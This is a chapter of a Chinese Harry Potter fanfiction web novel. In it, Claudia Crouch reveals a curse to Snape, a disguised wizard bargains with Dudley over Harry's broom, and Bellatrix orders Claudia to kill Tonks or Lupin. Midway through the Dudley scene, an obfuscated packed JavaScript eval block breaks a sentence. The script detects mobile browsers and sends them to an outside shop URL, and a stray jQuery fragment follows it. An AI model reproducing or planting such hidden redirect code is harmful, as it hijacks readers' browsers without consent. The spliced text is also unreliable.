文趣网 > 都市小说 > [HP]不想长大 > 113.第一百一十一章·三段拼盘
    那是一家规模不大的小旅店,普普通通,淹没在街边的招牌里毫不起眼。它甚至不是24小时的,克劳奇小姐进去的时候,那位夜班女招待正收拾收拾准备下班打烊呢。

    她有些发怔。

    老实说,这女孩子长得同克劳奇小姐一点都不像。她似乎是个南亚人,生就一张次大陆式的面孔,头发黑得发蓝,皮肤倒是浓淡得宜,唯独唇色深,她整个人都是收着长的,像一朵没开的花苞,香喷喷的。

    “抱歉,请给我开一间房。”克劳奇小姐扫了一眼价目表,“不要毛巾牙刷,如果有吃的,请给我来一点。”

    女招待穿着一件短袖套长袖的假两件T恤,胸前星星点点地落了些牙膏渍。发卷卷到一半就过来招呼她,脸上甚至涂了半扇面膜。

    “我们没有多余的房间了,女士。”她慌张地说,叽里呱啦起来有一点点可爱的口音,“全都订出去了——或许您可以去别家?出门右转直走到头,再右转一次就是了,他们家房间够多,可是没我们干净,恨不得有一百种理由多收您钱,总而言之,您别喝他们的水。”

    “噢!”克劳奇小姐笑起来,“我……呃,我可能预定过了,我是说……几个小时以前,我在这里有一个约会。”

    “噢!”女招待连忙低头去看记录,大概是房间足够少,能让名侦探推理出结果,“那我想您一定是——没错了,一定是,这是您的钥匙!”

    克劳奇小姐哭笑不得地道了一声谢,走上楼去找自己的房间。她从没有住过麻瓜旅舍,只觉得墙壁峭薄,楼梯窄陡,脚步踏重一点都摇摇晃晃,抖下许多灰尘来。

    别的倒都是很干净的,灰尘也是没法子的事。她自己是个光身体来到这里,要是大包小包地带行李,还不知道要怎么爬呢。

    到了。

    克劳奇小姐推开门,来不及打量室内陈设,先把自己藏进去。她关上门又扭上锁,紧接着去掏魔杖,恨不得把这逼仄的小房间封成一座石棺,永远地沉进大海。

    这才去摸电灯开关。

    结果摸到了另一只手。

    克劳奇小姐又摸了摸,转身去开门。●

    斯内普拦腰把人拖回来,克劳狄亚倒也不挣扎。她像具尸体一样直竖竖地倚着门,似乎打定主意就这样和他僵持到天亮。

    “我已经按照你的要求去做了。”斯内普耐心地同她解释,“如果你现在还有心情……那就脱衣服吧。”

    “好啊!”克劳狄亚抬起头来,先踢掉脚上的鞋,然后又去解腰带扣。

    不对,斯内普心想,有哪里出了问题。

    他本以为克劳狄亚已经习惯了这种模式,他没办法与她时常接触——以前的确是他疏忽,但黑魔王身边的人越来越多,不值得为此冒这个风险。

    她呢,也该学会克制她内心的渴求,总归他无法满足,她越是渴盼就越要失望——这样一股脑全都栽到他头上,也有些不讲道理。

    已经吃过一次亏,她该长长教训,怎么会有人连自己都无法控制?

    直至此刻,斯内普都是这样以为的:他们之间不存在任何矛盾,哪怕长久不见面,他们的关系也不会有丝毫褪色。

    上次克劳狄亚那样说,他也只以为是年轻女巫说的气话——当然是怎么伤人怎么说了,他才不会跟她当真。

    他甚至都不明白,她为什么会这么生气。

    就因为被利用?可那段日子,克劳狄亚过得也并非不开心。

    可不是他把她送到格雷伯克手里去的,那是她自己选的。

    他甚至都没有计较过她的转变,她变成什么样子都无所谓,总归她离不开她的镜子……那她就是属于他的,不列颠群岛沉入大海,她都是属于他的。

    “叭”的一声,灯光大亮。

    斯内普下意识移开视线,只是很快又转回来。她最好别发现。

    他其实不想做,他不知道克劳狄亚为什么这么执着,他——

    “那是什么?”

    克劳狄亚的左侧肋骨上,有一块拳头大小的黑影。

    “黑魔王的诅咒。”她平静地说,“那天您带德拉科离开,我就觉察出布巴吉教授有死志。”

    “你去救她了。”斯内普的心沉了下去。

    “我只想给她一支魔杖。”克劳狄亚轻笑起来,“我知道我不是那块料,我能解开多洛霍夫设在周遭的那些魔咒,但束缚布巴吉教授的的网子,我最好碰都别碰。”

    “既然你都知道!”

    “布巴吉教授能伸出手来,我以为我就可以递东西进去。”她仿佛是在说别人的事。

    “疼吗?”他脱口而出。

    “不疼,没有感觉。”她伸手摸了摸,“我洗澡的时候才发现的。”

    “怎么会伤到那里?”

    “因为我中了黑魔王的幻境,我险些没能走出来。”克劳狄亚比划了一个拥抱的动作,“我见到了少年时代的您,结果您给了我一下。”

    “你——你为什么不说出来?”斯内普不知道自己都说了些什么,“在科克沃斯那天,你就应该……”

    他把克劳狄亚拉到灯光下,仔细看清楚——与黑魔王施加在复活石上的诅咒相比,克劳狄亚中的这个,威力要弱小得多。

    还来得及,他还来得及。

    “因为我本来就受够这一切了。”克劳狄亚拂掉他的手,“我之所以能坚持,变得不像我自己也能坚持,都是因为您。”

    “别废话。”斯内普不耐烦地说,“既然是为了我,那就继续。”

    “您说黑魔王会知道这件事吗?”克劳狄亚却退后一步,“如果他知道,那么是谁治好了我?”

    “我管他是谁。”

    “要么是您,违背了黑魔王的意愿,挽救了他要惩罚的人。”克劳狄亚冷笑,“要么……他会不会想,邓布利多教授是不是没有死?”

    当然会,斯内普心想。

    “他不会知道的。”他言不由衷地安慰她,“他……他最近时常夸你。”

    “拿这个赌吗?我可赌不起。”克劳狄亚弯腰捡起衣服,一件件套回身上,“哪个食死徒对他来说是不可替代的?在黑魔王眼里,我是自作自受,那当然是继续装作不知情,欣赏我随着死亡的逼近而日益衰弱、恐惧最后身心崩溃却不得不强装无事来得爽了,这简直爽爆了。”

    斯内普无话可说,他无能为力,他无能为力的事太多了。

    在他这里,克劳狄亚的优先级从来都不是最高的,他总是将她往后排,因为他觉得她可以,她足够应付,她也的确每一次都做得超乎他的预料。

    可斯内普从来没想过,要用克劳狄亚的生命去填。

    他要失去她了,这一次是确定无疑的,可阴尸也不能满足现在的他了。他想她活着,只要他回头,她就永远笑嘻嘻地等在那里。

    不行吗?

    “我一直在希求,只要您从手指缝里漏一点给我,我就能撑很久。”克劳狄亚笑着摇摇头,“但您可真吝啬,那我也只好这样回报回报您了。希望您明白我并非故意逼迫您在自己和我之间做出抉择,希望您保持冷静……请您忍耐,先生。”

    “用不着你来提醒我。”斯内普勉强说,“你还能活一年。”

    这原本会是一场更漫长、更细碎的折磨,但克劳狄亚伤在那里,距离心脏和其他器官都太近了。

    她点了点头,看起来是准备走了。

    “再——”

    “不用!”斯内普一口截断,“你要去哪儿?”

    “出门右转直走到头,再右转一次。”她学着那个印度人的口音,竟然还笑了,“那里也有一间旅馆,房间多得卖不完,我去那儿。”

    “你可以待在这儿。”斯内普说,“你就待在这里吧……我会离开。”

    他更想留下来。现在轮到他想验证,他是否拥有触手可及的爱。

    他想听见她笑、她撒娇、她喋喋不休地说上一大篇无关紧要的废话,他得确定克劳狄亚还是像以前那样。

    “不行,您别拿这个考验我。”克劳狄亚看出了他的念头,却不为所动,“我不想■■,我刚杀了人——我们女巫不靠■■发泄情绪。”

    ————————

    1997年,夏,英格兰,萨里郡,小惠金区,女贞路4号。

    他在一条人来人往又堆满杂物的拥挤长廊里奋力奔跑!

    他可以的,那里一定有!一定有一个——

    他拨开挡路的人群,踹飞碍事的纸箱,踢开一扇又一扇房门……他会找到的!

    他!会!的!

    达力·德思礼吓得直接醒了过来,梦里他已经坐上了马桶。他哆嗦着伸手摸了摸屁股下的床单,微微潮湿,是汗浸的。

    他没尿床,已经坚持了十五天了。

    达力摊开缩紧的四肢,冲着天花板闭上眼睛,良久才又重新睁开,爬起身来去撒尿。

    他原本自然是没这个毛病的。妈妈以前总是夸他,说无论是断奶还是说话、走路,小孩子一切令人头痛的难题,达达都做得特别让妈妈省心。

    但谁让他前年遇到了那么一桩事呢?

    从那以后,就断断续续的……在学校里倒没什么,就是不能回家,一个月里,总有二三回。

    妈妈早就发现了,但她既没有向达力说破,也没有告诉爸爸。她只是默默地收拾、清洗、晾晒,然后等达力自己开口。

    他没有脸开口!他都十七了!

    达力决定自己解决这一切。

    他将房门拉到不会发出“吱嘎”声的最大角度,再把自己挤出门缝。路过哈利的房间时,达力忽然停下了脚步。

    门是虚掩着的。

    这小子平时总把门关得死死的,方便他搞那些小动作。达力觉得,如果换成他,那么“随手关门并锁死”早就已经刻入骨髓了。

    哈利不会遇见什么事吧?

    他苦苦地、艰难地思索了0.1秒,决定还是去放水。等解决完个人问题,达力已经完全忘了其他的事,一心只想回去高卧——

    走廊上站着一个顶天立地的汉子!

    “甘道夫……”达力喃喃,“甘道夫活了……”

    那人长得很高,穿着长长的、飘逸的袍子,因为勾勒出纤瘦的身材所以显得更高,他还带着一顶宽檐的尖顶帽,他还拄着一根拐杖,他就是甘道夫!

    达力晕晕乎乎,如痴如醉。

    其实他根本没看过《魔戒》,他压根就读不进去书,小说也一样。他只是听学校里那些文绉绉喜欢装腔的同学谈论过,从小学听到中学——这个甘道夫一定特别特别有名。

    而他见到了甘道夫!

    达力激动起来,情不自禁地往前迈了一步——听说甘道夫是仙男,他尿床有救了!

    甘道夫伸手一指达力,他就觉得脚下发黏,心痴意软,茫茫然不知所谓。甘道夫大步走上前来,把达力往腋下一挟,不知道要带他去哪里……

    哦是他的卧室啊,他还以为去阿尔达呢。①

    “好臭!”甘道夫把达力轻飘飘地抛在被褥间,忙不迭地用手掩住了鼻子。

    好没礼貌,达力心想,注意到甘道夫果真是一个长发长须、灰毛飘飘的老头。

    “见谅,德思礼先生。”甘道夫没用动用他的法杖,卧室里便平白刮起一阵旋风,又平白地消散了,“我以前不会说得这样直白,嗯……囿于某种形象要求?我只会说,‘我恐怕你需要开窗通风’。但不得不承认,这么说话真的好爽。所以我决定不在乎你的想法,毕竟我已经努力周全了一辈子。”

    啊仙男……也会嘴贱吗?

    “我不原谅!”达力理直气壮地说,“除非你治好我的……病。”

    “你有病?”甘道夫很是惊讶模样,“我看不出你有什么病,你很健康,我的孩子。”

    这是仙男独特的治疗手法吗?

    达力满心狐疑,把甘道夫上上下下又打量了一遍,他卧室里留着夜灯,比走廊上亮一些。

    比如那根法杖,达力现在看着就非常眼熟,它像是哈利那把……扫帚。

    哈利这么厉害了吗?

    “你偷东西!”他忽然明白过来,一下子从床上跳起来,“你不是甘道夫,你是个小偷!”

    假甘道夫又指了他一下,用一根纤细的木棍,哈利也有一样的!

    达力不甘心地跌坐在床上,想大声嚎叫着示警,却只发出一阵猪仔般的哼哼。

    “一个成熟的男人应该知道什么话该说,什么话不该说。”假甘道夫意味深长地警告他,“我相信你已经是个能够独当一面的男人了,德思礼先生,不如我们做个交易。”

    他叫他德思礼先生诶!达力后知后觉,这是他第一次在学校之外的地方被人叫“德思礼先生”,这个头衔以前都属于他爸爸弗农!

    “哦,好……我是说,我很乐意。”达力清了清嗓子,回忆爸爸和别人打电话时的样子,“说说你的条件,甘道夫。”

    “治好你的病。”假甘道夫毫不客气地瞄了他一眼,达力连忙捂好裤///裆!

    “条件呢?”

    假甘道夫轻轻拄了拄“法杖”。

    “保密。”他轻描淡写地说,“明天哈利会发现他的飞天扫帚被人偷走了,你只要装作什么都不知道就好了。”

    达力再一次狐疑地打量他。

    “我不信你做不到。”他指指那根小木棍,“哈利就威胁过我,要清除我的记忆这样我的考试就完蛋了。”

    假甘道夫“噗”的一声笑了出来,连忙咳嗽几声掩饰过去。

    “那就是哈利不好,他一点都不尊重你。”假甘道夫一本正经地说,“但我是一名有操守的男巫,我既然相信你,也请你相信我,除

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665280|202828||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了你身体里令人烦恼的那个小病灶,我什么都不会带走。”

    “如果我不答应呢?”达力试探着问,觉得自己也变聪明了。

    “那我就带走点儿别的。”

    达力无语。他试图认真思考,但牛学不会吃肉。

    “那个,”他指了指“法杖”,“对哈利来说很重要吗?”

    “对现在的他而言,已经不算特别重要。”假甘道夫眨眨眼,“但如果丢了,他一定会不高兴。”

    “成交!”达力爽快地一拍床垫,“你可以开始治病了,仙男!”

    ————————

    “你那天去哪儿了?”巴蒂一脚蹬上座椅扶手,扣紧长靴。

    “哪天?”克劳奇小姐懒洋洋地歪在椅子里,“离我远点!脏不脏啊你!”

    “杀人那天。”巴蒂笑着拍了拍锃亮的小腿,“不脏,这是我刚买的,今天第一次穿!”

    “杀完人觉得不好意思,跑去给麻瓜施舍了一大笔钱。”克劳奇小姐瞥了他一眼,点点头,“不赖。”

    “送送我吧,克劳狄亚。”她哥哥伸出手来,另一只手握着他崭新的飞天扫帚。

    是一把横扫。

    “你得罪马尔福了?”克劳奇小姐站起身来,随着出征的战士往外走,“怎么他给别人买火弩箭,给你就买横扫?”

    “别挑拨!”巴蒂笑着指一指妹妹,“马尔福的钱就是黑魔王的钱,再有钱也经不住这么掏——何况这又不是在打比赛,我又不是追球手,一味求快有什么用?我宁愿要个好准头!”

    克劳奇小姐白了他一眼。

    门厅里已经聚集了很多人,门外也是,吵吵嚷嚷,纷乱一片。克劳奇小姐每次看见都觉得困惑,她不知道这群五花八门的奇怪物种要怎么成为一个国度的新生权力阶层,他们看上去只拥有未经驯化的最低端的暴力,有的连暴力的边还没摸着。

    黑魔王很快也下来了,身边跟着斯内普教授。一大群人很快“呼啦啦”地卷走了,偌大的房子里,只剩下新晋孕妇贝拉特里克斯和克劳奇小姐相看两厌。

    “少陪。”克劳奇小姐干脆地一点头,转身就要回房间。

    “干什么去?”贝拉特里克斯叫住她。

    “当然是睡觉了。”克劳奇小姐微笑道,“吃点儿东西,看会儿书,然后睡觉——现在不就该做这个吗?”

    “不应该!”贝拉特里克斯冷笑起来,“黑魔王让你伺候我,所以你应该听我的命令。”

    “好吧!”克劳奇小姐挽挽袖子,抽出魔杖,“那您想杀谁?”

    贝拉特里克斯沉默不语。她独自站在血一般的残阳影里,静静地不知道在想些什么。

    “或许……”克劳奇小姐不确定了,“您需要我服侍您洗澡、梳头、按摩?”

    “我需要你去把我的耻辱洗清。”

    “自己的耻辱自己洗。”克劳奇小姐随口道,兴致缺缺,“我洗了算什——等等,难道?”

    贝拉特里克斯放声大笑起来。

    “我不去参加行动,难道是因为我懒吗?”克劳奇小姐极是不满,“您这话说得好难听哦!”

    “别装了!”贝拉特里克斯尖声道,“黑魔王毕竟是男人,你骗得过他,骗不过我。”

    “我骗什么了?”

    “你本来就不想参加行动,你讨厌杀人,结果一具焦尸你都要难受半天……所以你是故意的。”

    “您不相信我和唐克斯是朋友?您可以去问问斯内普教授。”

    贝拉特里克斯烦躁地摆了摆手。

    “我已经有了黑魔王的孩子,明年春天他就要降生了,我不容许……他有这样耻辱的亲戚。”她慢慢涨红了脸,“他不能和狼人、和麻瓜的女儿,待在同一张家谱里!”

    克劳奇小姐茫然地点点头。

    她不知道布莱克家是怎么样,但以克劳奇家的情况来看……死了也还是在家谱上。

    贝拉特里克斯的担忧纯属多虑,因为私生子本来就上不了家谱。

    “黑魔王先误会了,而我只是顺势而为。”克劳奇小姐掩饰般地拨弄着头发,露出一副被看穿的心虚模样,“女生听到八卦的反应都是一样的,不管是朋友的,还是路人的。”

    “那么去吧。”贝拉特里克斯真是食死徒最严厉的母亲,“你别想偷懒。”

    “我不认路啊。”克劳奇小姐十分无奈。

    贝拉特里克斯显然早有准备。

    “我没到您还为我准备了扫帚……”克劳奇小姐只好讪笑,“还是火弩箭……”

    甚至还有条隐形斗篷,当然是一次性版。

    “我本来打算问德拉科借他的光轮,但罗道夫斯说斯内普用不上这个,他的确也没拿,正好便宜了你。”

    “我看……好像黑魔王也空着手。”

    贝拉特里克斯露出一种嫉妒中又混合着不屑的神情。

    “他特意去找黑魔王说这个!你以为他们为什么一起出现?”她急促而小声地控诉着,眼珠子都发红,“他说他也不想抢黑魔王的风头,但是他实在不擅长骑扫帚,不想拖大家的后腿,你很难想象斯内普说出这么一番话来对不对?更难想象的是,黑魔王居然答应了,他还说他很高兴斯内普能对他坦诚他的不足!”

    “您冷静一点,夫人。”克劳奇小姐下意识劝阻,“情绪激动对小宝宝不好。”

    这一劝居然十分有效!

    贝拉特里克斯闭上了嘴,尽管胸脯还剧烈地起伏着,但她居然真的在试图控制自己。

    “我去就是了,我去的!”克劳奇小姐柔声安慰。

    差不多了。她真高兴大家都没有被刻板印象裹挟,都已经接受了世界上就是有她这样的食死徒。

    克劳奇小姐故作为难地叹了口气:“如果我被发现了……您会帮我求情吗?”

    “所以你不要被发现。”贝拉特里克斯抬了抬下巴,“用魔咒遮蔽自己,用隐形衣遮蔽飞天扫帚,如果被发现了,就是你自己的责任!”

    克劳奇小姐犹犹豫豫地咬着嘴唇。

    “你必须遵照我的命令。”贝拉特里克斯轻轻拍了拍小腹。

    要不要再抻一抻?

    “尼法朵拉和她的狼人丈夫,你杀哪个都行。他们或许会扮成哈利·波特的样子,你必须好好辨别。”贵子之母继续发号施令。

    听上去和“我跟纳吉尼都想吃白煮蛋,你现在去厨房给我们剥两盘”没什么区别。

    “我可以失败么?”克劳奇小姐愁眉苦脸。

    贝拉特里克斯现在又开始“咯咯”地笑了,轻而雅,在暮色里笑得人背后发毛。

    “我才不在乎呢。”她说,“你失败了就去死,否则下一回,你就要一次杀两个了!”

    克劳奇小姐希望黑魔王能多向莱斯特兰奇夫人学习她的管理能力,食死徒里的叛徒还是太少了。